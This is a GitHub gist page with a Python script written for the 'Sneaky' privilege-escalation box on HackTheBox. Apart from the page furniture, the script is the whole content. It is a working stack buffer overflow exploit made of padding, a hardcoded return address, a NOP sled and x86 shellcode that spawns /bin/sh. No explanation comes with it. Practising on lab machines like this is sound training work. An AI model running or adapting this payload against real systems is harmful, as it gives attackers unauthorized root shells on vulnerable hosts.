Skip to content

Instantly share code, notes, and snippets.

@intrd

intrd/sneaky_priv_esc_xpl.py

Last active April 14, 2018 18:35
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save intrd/990344b59e009221f96ae11ab3598981 to your computer and use it in GitHub Desktop.
Save intrd/990344b59e009221f96ae11ab3598981 to your computer and use it in GitHub Desktop.
Download ZIP
Sneaky box priv_esc XPL (ret2stack+nopsled+shellcode) @ hackthebox.eu
Raw
sneaky_priv_esc_xpl.py
#!/usr/bin/python
## Sneaky box priv_esc XPL (ret2stack+nopsled+shellcode) @ hackthebox.eu
# @author intrd - http://dann.com.br/
import struct
exploit = "A"*362
#exploit += struct.pack("I",0xffffd638+10) #topstack local
#exploit += "\xCC"*4
exploit += struct.pack("I",0xbffff6e8+10) #topstack remote
exploit += "\x90"*500
#exploit += "\xCC"*4
exploit += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" #x86
print exploit
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment